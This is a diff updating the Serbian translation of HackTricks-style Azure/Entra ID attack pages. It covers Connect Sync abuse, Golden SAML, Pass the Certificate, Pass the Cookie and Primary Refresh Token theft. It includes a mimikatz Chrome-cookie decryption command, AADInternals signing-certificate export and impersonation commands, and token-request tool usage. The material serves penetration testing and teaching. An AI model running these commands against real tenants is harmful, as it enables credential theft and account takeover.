Ovaj [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) objavljen je ubrzo pre promene sa korišćenja korisnika `Sync_*` na ovaj servisni principal, objasnio je da je sertifikat bio smešten unutar servera i da je bilo moguće pronaći ga, generisati PoP (Proof of Possession) za njega i graf token, i sa ovim, biti u mogućnosti da doda novi sertifikat servisnom principalu (jer **servisni principal** uvek može dodeliti nove sertifikate) i zatim ga koristiti za održavanje postojanosti kao SP.
|
||||
|
||||
Kako bi se izvršile ove radnje, sledeći alati su objavljeni: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
@@ -137,7 +137,7 @@ Prema mom iskustvu, sertifikat više nije smešten na mestu gde je prethodni ala
|
||||
### Zloupotreba Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> Pre je korisnik pod imenom `Sync_*` kreiran u Entra ID sa veoma osetljivim dozvolama, što je omogućilo obavljanje privilegovanih radnji kao što su modifikacija lozinke bilo kog korisnika ili dodavanje nove kredencijale servisnom principalu. Međutim, od januara 2025. ovaj korisnik više nije kreiran po defaultu jer se sada koristi aplikacija/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Ipak, može biti prisutan u nekim okruženjima, pa vredi proveriti.
|
||||
> Prethodno je korisnik pod imenom `Sync_*` kreiran u Entra ID sa veoma osetljivim dozvolama, što je omogućilo obavljanje privilegovanih radnji kao što su modifikacija lozinke bilo kog korisnika ili dodavanje nove kredencijale servisnom principalu. Međutim, od januara 2025. ovaj korisnik više ne bude kreiran po defaultu jer se sada koristi aplikacija/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Ipak, može biti prisutan u nekim okruženjima, pa vredi proveriti.
|
||||
|
||||
Kompromitovanjem **`Sync_*`** naloga moguće je **resetovati lozinku** bilo kog korisnika (uključujući Globalne Administratore)
|
||||
```bash
|
||||
@@ -188,7 +188,7 @@ seamless-sso.md
|
||||
## Pivotiranje Entra ID --> AD
|
||||
|
||||
- Ako je omogućeno vraćanje lozinke, možete **modifikovati lozinku bilo kog korisnika u AD** koji je sinhronizovan sa Entra ID.
|
||||
- Ako je omogućeno vraćanje grupa, možete **dodati korisnike u privilegovane grupe** u Entra ID koje su sinhronizovane sa AD.
|
||||
- Ako je omogućeno vraćanje grupa, možete **dodavati korisnike u privilegovane grupe** u Entra ID koje su sinhronizovane sa AD.
|
||||
|
||||
## Reference
|
||||
|
||||
@@ -199,4 +199,4 @@ seamless-sso.md
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services omogućava postavljanje Active Directory u Azure bez potrebe za upravljanjem Domain Controllers (zapravo, nemate čak ni pristup njima).
|
||||
Microsoft Entra Domain Services omogućava postavljanje Active Directory-a u Azure bez potrebe za upravljanjem Domain Controllers (zapravo, nemate čak ni pristup njima).
|
||||
|
||||
Njegov glavni cilj je da vam omogući pokretanje nasleđenih aplikacija u oblaku koje ne mogu koristiti moderne metode autentifikacije, ili gde ne želite da pretrage direktorijuma uvek idu nazad na on-premises AD DS okruženje.
|
||||
|
||||
Napomena: da biste sinhronizovali korisnike generisane u Entra ID (i ne sinhronizovane iz drugih aktivnih direktorijuma) sa AD domen servisom, potrebno je da **promenite lozinku korisnika** na novu kako bi mogla biti sinhronizovana sa novim AD. Zapravo, korisnik se ne sinhronizuje iz Microsoft Entra ID u Domain Services dok se lozinka ne promeni.
|
||||
|
||||
> [!WARNING]
|
||||
> Čak i ako kreirate novu aktivnu direktorijumsku domenu, nećete moći potpuno da njome upravljate (osim ako ne iskoristite neke pogrešne konfiguracije), što znači da po defaultu, na primer, ne možete direktno kreirati korisnike u AD. Kreirate ih **sinhronizovanjem korisnika iz Entra ID.** Možete odabrati da sinhronizujete sve korisnike (čak i one sinhronizovane iz drugih on-premise AD-ova), samo korisnike u oblaku (korisnike kreirane u Entra ID), ili čak **da ih dodatno filtrirate**.
|
||||
> Čak i ako kreirate novu aktivnu direktorijumsku domenu, nećete moći da je potpuno upravljate (osim ako ne iskoristite neke pogrešne konfiguracije), što znači da po defaultu, na primer, ne možete direktno kreirati korisnike u AD. Kreirate ih **sinhronizovanjem korisnika iz Entra ID.** Možete odabrati da sinhronizujete sve korisnike (čak i one sinhronizovane iz drugih on-premise AD-ova), samo cloud korisnike (korisnike kreirane u Entra ID), ili čak **da ih dodatno filtrirate**.
|
||||
|
||||
> [!NOTE]
|
||||
> Uopšteno, zbog nedostatka fleksibilnosti u konfiguraciji nove domene i činjenice da su AD obično već on-premise, ovo nije glavna integracija između Entra ID i AD, ali je i dalje zanimljivo znati kako ga kompromitovati.
|
||||
@@ -30,11 +30,11 @@ DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Napomena da se za dodeljivanje ovih dozvola, unutar AD-a grupa **`AAD DC Administrators`** postavlja kao član prethodnih grupa, a takođe se GPO **`AADDC Computers GPO`** dodaje kao lokalni administratori svim članovima domena grupe **`AAD DC Administrators`**.
|
||||
Napomena da se za dodeljivanje ovih dozvola, unutar AD-a grupa **`AAD DC Administrators`** postavlja kao član prethodnih grupa, a takođe GPO **`AADDC Computers GPO`** dodaje kao lokalne administratore sve članove domena grupe **`AAD DC Administrators`**.
|
||||
|
||||
Prebacivanje sa Entra ID na AD kreiran sa Domain Services je jednostavno, samo dodajte korisnika u grupu **`AAD DC Administrators`**, pristupite putem RDP-a bilo kojoj/svim mašinama u domenu i moći ćete da ukradete podatke i takođe **kompromitujete domen.**
|
||||
|
||||
Međutim, prebacivanje sa domena na Entra ID nije tako lako jer se ništa iz domena ne sinhronizuje u Entra ID. Ipak, uvek proverite metapodatke za sve VM-ove koji su pridruženi jer njihove dodeljene upravljane identitete mogu imati zanimljive dozvole. Takođe **izbacite sve lozinke korisnika iz domena** i pokušajte da ih provalite kako biste se zatim prijavili u Entra ID / Azure.
|
||||
Međutim, prebacivanje sa domena na Entra ID nije tako lako jer se ništa iz domena ne sinhronizuje u Entra ID. Ipak, uvek proverite metapodatke za sve VM-ove pridružene, jer njihove dodeljene upravljane identitete mogu imati zanimljive dozvole. Takođe **izvucite sve lozinke korisnika iz domena** i pokušajte da ih provalite kako biste se zatim prijavili u Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Napomena da su u prošlosti pronađene druge ranjivosti u ovom upravljanom AD-u koje su omogućile kompromitovanje DC-ova, [kao što je ova](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Napadač koji kompromituje DC mogao bi vrlo lako održati postojanost bez da Azure administratori primete ili čak budu u mogućnosti da je uklone.
|
||||
@@ -83,4 +83,4 @@ fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
# Az - Federation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
>**Federacija** je skup **domena** koje su uspostavile **povjerenje**. Nivo povjerenja može varirati, ali obično uključuje **autentifikaciju** i gotovo uvek uključuje **autorizaciju**. Tipična federacija može uključivati **broj organizacija** koje su uspostavile **povjerenje** za **deljenje pristupa** skupu resursa.
|
||||
>Možete **federisati svoje on-premises** okruženje **sa Azure AD** i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva **autentifikacija korisnika odvija on-premises**. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa **AD FS** i PingFederate je dostupna.
|
||||
>Možete **federisati svoje on-premises** okruženje **sa Azure AD** i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva **autentifikacija korisnika vrši on-premises**. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa **AD FS** i PingFederate je dostupna.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
U suštini, u Federaciji, sva **autentifikacija** se odvija u **on-prem** okruženju i korisnik doživljava SSO kroz sva poverena okruženja. Stoga, korisnici mogu **pristupiti** **cloud** aplikacijama koristeći svoje **on-prem kredencijale**.
|
||||
U suštini, u Federaciji, sva **autentifikacija** se vrši u **on-prem** okruženju i korisnik doživljava SSO u svim poverenim okruženjima. Stoga, korisnici mogu **pristupiti** **cloud** aplikacijama koristeći svoje **on-prem kredencijale**.
|
||||
|
||||
**Security Assertion Markup Language (SAML)** se koristi za **razmenu** svih informacija o autentifikaciji i autorizaciji između provajdera.
|
||||
|
||||
@@ -23,7 +23,7 @@ U bilo kojoj federacijskoj postavci postoje tri strane:
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. Prvo, aplikaciju (Provajder usluga ili SP, kao što je AWS konzola ili vSphere web klijent) pristupa korisnik. Ovaj korak može biti zaobiđen, vodeći klijenta direktno do IdP-a (Provajder identiteta) u zavisnosti od specifične implementacije.
|
||||
1. Prvo, aplikaciju (Provajder usluga ili SP, kao što je AWS konzola ili vSphere web klijent) pristupa korisnik. Ovaj korak može biti zaobiđen, vodeći klijenta direktno do IdP (Provajder identiteta) u zavisnosti od specifične implementacije.
|
||||
2. Zatim, SP identifikuje odgovarajući IdP (npr., AD FS, Okta) za autentifikaciju korisnika. Zatim kreira SAML (Security Assertion Markup Language) AuthnRequest i preusmerava klijenta na odabrani IdP.
|
||||
3. IdP preuzima, autentifikujući korisnika. Nakon autentifikacije, SAMLResponse se formira od strane IdP-a i prosleđuje SP-u kroz korisnika.
|
||||
4. Na kraju, SP procenjuje SAMLResponse. Ako je uspešno validiran, što implicira odnos poverenja sa IdP-om, korisniku se odobrava pristup. Ovo označava završetak procesa prijavljivanja, omogućavajući korisniku da koristi uslugu.
|
||||
@@ -57,7 +57,7 @@ Proces u kojem **Provajder identiteta (IdP)** proizvodi **SAMLResponse** za auto
|
||||
|
||||
Može se povući paralela sa [napadom zlatne karte](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), gde se ključ koji autentifikuje identitet i dozvole korisnika (KRBTGT za zlatne karte, privatni ključ za potpisivanje tokena za golden SAML) može manipulisati da **falsifikuje objekat autentifikacije** (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u.
|
||||
|
||||
Golden SAML nudi određene prednosti:
|
||||
Golden SAML-ovi nude određene prednosti:
|
||||
|
||||
- Mogu se **kreirati na daljinu**, bez potrebe da budu deo domena ili federacije u pitanju.
|
||||
- Ostaju efikasni čak i sa **dvofaktorskom autentifikacijom (2FA)** uključenom.
|
||||
@@ -70,7 +70,7 @@ Golden SAML nudi određene prednosti:
|
||||
|
||||
Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ova ranjivost se može iskoristiti da potencijalno **dobije bilo koje dozvole u AWS okruženju**. Napad zahteva **privatni ključ koji se koristi za potpisivanje SAML objekata**, slično kao što je potrebno KRBTGT u napadu zlatne karte. Pristup AD FS korisničkom nalogu je dovoljan da se dobije ovaj privatni ključ.
|
||||
|
||||
Zahtevi za izvođenje golden SAML napada uključuju:
|
||||
Zahtevi za izvršavanje golden SAML napada uključuju:
|
||||
|
||||
- **Privatni ključ za potpisivanje tokena**
|
||||
- **IdP javni sertifikat**
|
||||
@@ -78,11 +78,11 @@ Zahtevi za izvođenje golden SAML napada uključuju:
|
||||
- **Ime uloge (uloga koja se preuzima)**
|
||||
- Domen\korisničko ime
|
||||
- Ime sesije uloge u AWS-u
|
||||
- Amazon ID naloga
|
||||
- Amazon ID računa
|
||||
|
||||
_Samo stavke u podebljanom su obavezne. Ostale se mogu popuniti po želji._
|
||||
|
||||
Da biste dobili **privatni ključ**, potreban je pristup **AD FS korisničkom nalogu**. Odatle, privatni ključ se može **izvesti iz lične biblioteke** koristeći alate kao što je [mimikatz](https://github.com/gentilkiwi/mimikatz). Da biste prikupili druge potrebne informacije, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, osiguravajući da ste prijavljeni kao ADFS korisnik:
|
||||
Da biste dobili **privatni ključ**, potreban je pristup **AD FS korisničkom nalogu**. Odatle, privatni ključ se može **izvesti iz lične prodavnice** koristeći alate kao što je [mimikatz](https://github.com/gentilkiwi/mimikatz). Da biste prikupili druge potrebne informacije, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, osiguravajući da ste prijavljeni kao ADFS korisnik:
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -132,7 +132,7 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate a user to to access cloud apps
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
Takođe je moguće kreirati ImmutableID za korisnike koji su samo u oblaku i imitirati ih.
|
||||
Takođe je moguće kreirati ImmutableID korisnika koji su samo u oblaku i imitirati ih.
|
||||
```bash
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,29 +1,29 @@
|
||||
# Hibridni identitet Različiti napadi
|
||||
# Хибридни идентитет разне нападе
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Prisiljavanje sinhronizacije Entra ID korisnika sa on-prem
|
||||
## Присилна синхронизација Entra ID корисника на локalu
|
||||
|
||||
Kao što je pomenuto u [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), bilo je moguće promeniti vrednost **`ProxyAddress`** unutar AD korisnika u on-prem AD dodajući email Entra ID admin korisnika i takođe osigurati da se UPN korisnika u AD i u Entra ID poklapaju (ovo je ponovo Entra ID), kao **`SMTP:admin@domain.onmicrosoft.com`**. I ovo bi **prisililo sinhronizaciju ovog korisnika** iz Entra ID u on-prem AD, tako da ako je lozinka korisnika bila poznata, mogla bi se koristiti za **pristup adminu korišćenom u Entra ID.**
|
||||
Како је поменуто у [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), било је могуће променити вредност **`ProxyAddress`** унутар AD корисника у локалnom AD додавањем е-поште Entra ID администраторског корисника и такође осигурати да се UPN корисника у AD и у Entra ID поклапају (ово је поново Entra ID), као **`SMTP:admin@domain.onmicrosoft.com`**. И ово би **присилило синхронизацију овог корисника** из Entra ID у локални AD, тако да ако је лозинка корисника била позната, могла би се користити за **приступ администратору кориснику у Entra ID.**
|
||||
|
||||
Da bi se sinhronizovao novi korisnik iz Entra ID u on-prem AD, zahtevi su sledeći:
|
||||
Да бисте синхронизовали новог корисника из Entra ID у локални AD, ово су захтеви, једини захтеви су:
|
||||
|
||||
- Kontrolisati atribute korisnika u on-prem AD (ili imati dozvole za kreiranje novih korisnika)
|
||||
- Poznavati korisnika koji je samo u cloudu da bi se sinhronizovao iz Entra ID u on-prem AD
|
||||
- Takođe, možda će biti potrebno promeniti immutableID atribut sa Entra ID korisnika na on-prem AD korisnika da bi se uradio **hard match**.
|
||||
- Контролишите атрибуте корисника у локалnom AD (или имате дозволе за креирање нових корисника)
|
||||
- Знајте корисника који је само у облаку да бисте синхронизовали из Entra ID у локални AD
|
||||
- Можда ћете такође морати да промените immutableID атрибут из Entra ID корисника у локалnog AD корисника да бисте урадили **тврду подударност**.
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID više ne dozvoljava sinhronizaciju admina iz Entra ID u on-prem AD.
|
||||
> Takođe, ovo **neće zaobići MFA**.
|
||||
> Entra ID више не дозвољава синхронизацију администатора из Entra ID у локални AD.
|
||||
> Такође, ово **неће заобићи MFA**.
|
||||
|
||||
|
||||
|
||||
## Reference
|
||||
## Референце
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
Na mašinama pridruženim Azure-u, moguće je autentifikovati se sa jedne mašine na drugu koristeći sertifikate koji **moraju biti izdati od strane Entra ID CA** za potrebnog korisnika (kao subjekat) kada obe mašine podržavaju **NegoEx** mehanizam autentifikacije.
|
||||
Na Azure povezanim mašinama, moguće je autentifikovati se sa jedne mašine na drugu koristeći sertifikate koji **moraju biti izdati od strane Entra ID CA** za potrebnog korisnika (kao subjekat) kada obe mašine podržavaju **NegoEx** mehanizam autentifikacije.
|
||||
|
||||
U super pojednostavljenim terminima:
|
||||
|
||||
@@ -12,7 +12,7 @@ U super pojednostavljenim terminima:
|
||||
- Klijent kreira JSON Web Token (JWT) zaglavlje koje sadrži PRT i druge detalje, potpisuje ga koristeći Izvedeni ključ (koristeći sesijski ključ i bezbednosni kontekst) i **šalje ga Entra ID**
|
||||
- Entra ID verifikuje JWT potpis koristeći sesijski ključ klijenta i bezbednosni kontekst, proverava validnost PRT i **odgovara** sa **sertifikatom**.
|
||||
|
||||
U ovom scenariju i nakon prikupljanja svih informacija potrebnih za [**Pass the PRT**](az-primary-refresh-token-prt.md) napad:
|
||||
U ovom scenariju i nakon prikupljanja svih potrebnih informacija za [**Pass the PRT**](az-primary-refresh-token-prt.md) napad:
|
||||
|
||||
- Korisničko ime
|
||||
- Tenant ID
|
||||
@@ -24,7 +24,7 @@ Moguće je **zatražiti P2P sertifikat** za korisnika pomoću alata [**PrtToCert
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
Sertifikati će trajati isto kao i PRT. Da biste koristili sertifikat, možete koristiti python alat [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) koji će **autentifikovati** na udaljenoj mašini, pokrenuti **PSEXEC** i **otvoriti CMD** na žrtvinoj mašini. Ovo će nam omogućiti da ponovo koristimo Mimikatz da bismo dobili PRT drugog korisnika.
|
||||
Sertifikati će trajati isto kao i PRT. Da biste koristili sertifikat, možete koristiti python alat [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) koji će **autentifikovati** na udaljenoj mašini, pokrenuti **PSEXEC** i **otvoriti CMD** na žrtvovoj mašini. Ovo će nam omogućiti da ponovo koristimo Mimikatz da bismo dobili PRT drugog korisnika.
|
||||
```bash
|
||||
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
Browser **kolačići** su odličan mehanizam za **obići autentifikaciju i MFA**. Pošto je korisnik već autentifikovan u aplikaciji, sesijski **kolačić** se može koristiti za **pristup podacima** kao taj korisnik, bez potrebe za ponovnom autentifikacijom.
|
||||
|
||||
Možete videti gde se **browser kolačići nalaze** u:
|
||||
Možete videti gde se nalaze **browser kolačići** u:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.html#google-chrome
|
||||
@@ -24,7 +24,7 @@ Sa Mimikatz u ruci, mogu **izvući korisničke kolačiće** čak iako su enkript
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
Za Azure, brinemo se o autentifikacionim kolačićima uključujući **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, i **`ESTSAUTHLIGHT`**. Oni su tu jer je korisnik bio aktivan na Azure-u u poslednje vreme.
|
||||
Za Azure, brinemo se o autentifikacionim kolačićima uključujući **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, i **`ESTSAUTHLIGHT`**. Oni su tu jer je korisnik nedavno bio aktivan na Azure-u.
|
||||
|
||||
Jednostavno idite na login.microsoftonline.com i dodajte kolačić **`ESTSAUTHPERSISTENT`** (generisan opcijom “Stay Signed In”) ili **`ESTSAUTH`**. I bićete autentifikovani.
|
||||
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Šta je Primary Refresh Token (PRT)?
|
||||
|
||||
**Primary Refresh Token (PRT)** je dugotrajni refresh token koji se koristi u Azure AD (Entra ID) autentifikaciji, analogan Kerberos TGT-u. Izdaje se prilikom prijave korisnika na uređaju povezanom sa Azure AD i može se koristiti za zahtevanje pristupnih tokena za razne aplikacije bez ponovnog traženja kredencijala. Svaki PRT je praćen **session key** (takođe nazvan Proof-of-Possession key) -- simetričnim ključem koji se koristi za potpisivanje zahteva i dokazivanje da klijent ima PRT. Sam PRT je neprozirni, enkriptovani blob (nečitljiv od strane klijenta), dok se session key koristi za **potpisivanje** JWT-a koji sadrži PRT prilikom zahteva za tokenima. Drugim rečima, posedovanje PRT-a samo po sebi nije dovoljno; napadač treba session key da bi dokazao legitimnost, slično kao što su potrebni i Kerberos TGT i njegov session key za autentifikaciju.
|
||||
**Primary Refresh Token (PRT)** je dugotrajni refresh token koji se koristi u Azure AD (Entra ID) autentifikaciji, analogan Kerberos TGT-u. Izdaje se prilikom prijave korisnika na uređaju povezanom sa Azure AD i može se koristiti za zahtevanje pristupnih tokena za razne aplikacije bez ponovnog unosa kredencijala. Svaki PRT je praćen **session key** (takođe nazvan Proof-of-Possession key) -- simetričnim ključem koji se koristi za potpisivanje zahteva i dokazivanje da klijent ima PRT. Sam PRT je neprozirni, enkriptovani blob (nečitljiv od strane klijenta), dok se session key koristi za **potpisivanje** JWT-a koji sadrži PRT prilikom zahteva za tokenima. Drugim rečima, posedovanje PRT-a samo po sebi nije dovoljno; napadač treba session key da bi dokazao legitimnost, slično kao što su potrebni i Kerberos TGT i njegov session key za autentifikaciju.
|
||||
|
||||
Na Windows-u, PRT i session key se keširaju u LSASS procesu putem CloudAP plugina. Ako uređaj ima **TPM** (Trusted Platform Module), Azure AD vezuje ključeve za TPM radi dodatne sigurnosti. To znači da se na uređajima opremljenim TPM-om session key čuva ili koristi unutar TPM-a tako da ne može biti direktno pročitan iz memorije pod normalnim okolnostima. Ako TPM nije dostupan (npr. mnoge VM-ove ili starije sisteme), ključevi se čuvaju u softveru i zaštićeni su DPAPI enkripcijom. U oba slučaja, napadač sa administratorskim privilegijama ili izvršavanjem koda na mašini može pokušati da **izbaci PRT i session key iz memorije** kao deo post-exploitation-a, a zatim ih koristiti za impersonaciju korisnika u oblaku.
|
||||
Na Windows-u, PRT i session key se keširaju u LSASS procesu putem CloudAP plugina. Ako uređaj ima **TPM** (Trusted Platform Module), Azure AD vezuje ključeve za TPM radi dodatne sigurnosti. To znači da se na uređajima opremljenim TPM-om, session key čuva ili koristi unutar TPM-a tako da ne može biti direktno pročitan iz memorije pod normalnim okolnostima. Ako TPM nije dostupan (npr. mnoge VM-ove ili stariji sistemi), ključevi se čuvaju u softveru i zaštićeni su DPAPI enkripcijom. U oba slučaja, napadač sa administratorskim privilegijama ili izvršavanjem koda na mašini može pokušati da **izvuče PRT i session key iz memorije** kao deo post-exploitation-a, a zatim ih koristiti za impersonaciju korisnika u oblaku.
|
||||
Za razliku od tipičnih refresh tokena (koji su obično specifični za aplikaciju), PRT je širi, omogućavajući vašem uređaju da zahteva tokene za gotovo svaki Entra ID-integrisani resurs ili uslugu.
|
||||
|
||||
## Kako funkcioniše PRT?
|
||||
@@ -15,7 +15,7 @@ Evo pojednostavljenog pregleda kako PRT funkcioniše:
|
||||
|
||||
1. **Registracija uređaja:**
|
||||
|
||||
- Kada vaš uređaj (poput Windows laptopa ili mobilnog telefona) pristupi ili se registruje sa Entra ID, autentifikuje se koristeći vaše kredencijale (korisničko ime/lozinka/MFA).
|
||||
- Kada vaš uređaj (poput Windows laptopa ili mobilnog telefona) pristupi ili se registruje kod Entra ID, autentifikuje se koristeći vaše kredencijale (korisničko ime/lozinka/MFA).
|
||||
|
||||
- Nakon uspešne autentifikacije, Entra ID izdaje PRT koji je specifično vezan za vaš uređaj.
|
||||
|
||||
@@ -41,7 +41,7 @@ Evo pojednostavljenog pregleda kako PRT funkcioniše:
|
||||
|
||||
- **Poboljšana sigurnost:** Sa ugrađenim hardverskim zaštitama (poput TPM), PRT-ovi osiguravaju sigurno skladištenje i korišćenje tokena.
|
||||
|
||||
- **Korisničko iskustvo:** PRT-ovi značajno poboljšavaju korisničko iskustvo smanjenjem učestalih zahteva za autentifikaciju i omogućavanjem pravog besprekornog SSO-a.
|
||||
- **Korisničko iskustvo:** PRT-ovi značajno poboljšavaju korisničko iskustvo smanjenjem učestalih zahteva za autentifikaciju i omogućavanjem pravog besprekornog SSO.
|
||||
|
||||
## Kako znati da li je PRT prisutan?
|
||||
|
||||
@@ -62,14 +62,14 @@ dsregcmd /status
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Proći PRT
|
||||
## Proći kroz PRT
|
||||
|
||||
Prema [ovom postu](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) na Windows uređajima **bez TPM vezivanja**, PRT i njegov sesijski ključ se nalaze u LSASS (CloudAP dodatak). Sa lokalnim administratorom/SYSTEM na tom uređaju, PRT blob i DPAPI-šifrovani sesijski ključ mogu se **pročitati iz LSASS-a, sesijski ključ dešifrovati putem DPAPI, i potpisni ključ izvesti** da bi se stvorio važeći PRT kolačić (`x‑ms‑RefreshTokenCredential`). Potrebni su vam i PRT i njegov sesijski ključ—sama PRT string nije dovoljna.
|
||||
Prema [ovom postu](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) na Windows uređajima **bez TPM vezivanja**, PRT i njegov sesijski ključ se nalaze u LSASS (CloudAP dodatak). Sa lokalnim administratorom/SYSTEM na tom uređaju, PRT blob i DPAPI-šifrovani sesijski ključ mogu se **pročitati iz LSASS-a, sesijski ključ dešifrovati putem DPAPI-a, i potpisni ključ izvesti** da bi se stvorio važeći PRT kolačić (`x‑ms‑RefreshTokenCredential`). Potrebni su vam i PRT i njegov sesijski ključ—sama PRT string nije dovoljna.
|
||||
|
||||
### Mimikatz
|
||||
|
||||
1. **PRT (Primarni osvežavajući token) se izvlači iz LSASS-a** (Servis podsystema lokalne bezbednosti) i čuva za kasniju upotrebu.
|
||||
2. **Sesijski ključ se zatim izvlači**. S obzirom na to da se ovaj ključ prvobitno izdaje i zatim ponovo šifruje od strane lokalnog uređaja, neophodno je dešifrovanje pomoću DPAPI masterključa. Detaljne informacije o DPAPI (API za zaštitu podataka) mogu se naći u ovim resursima: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) a za razumevanje njegove primene, pogledajte [Napad na kolačić](az-pass-the-cookie.md).
|
||||
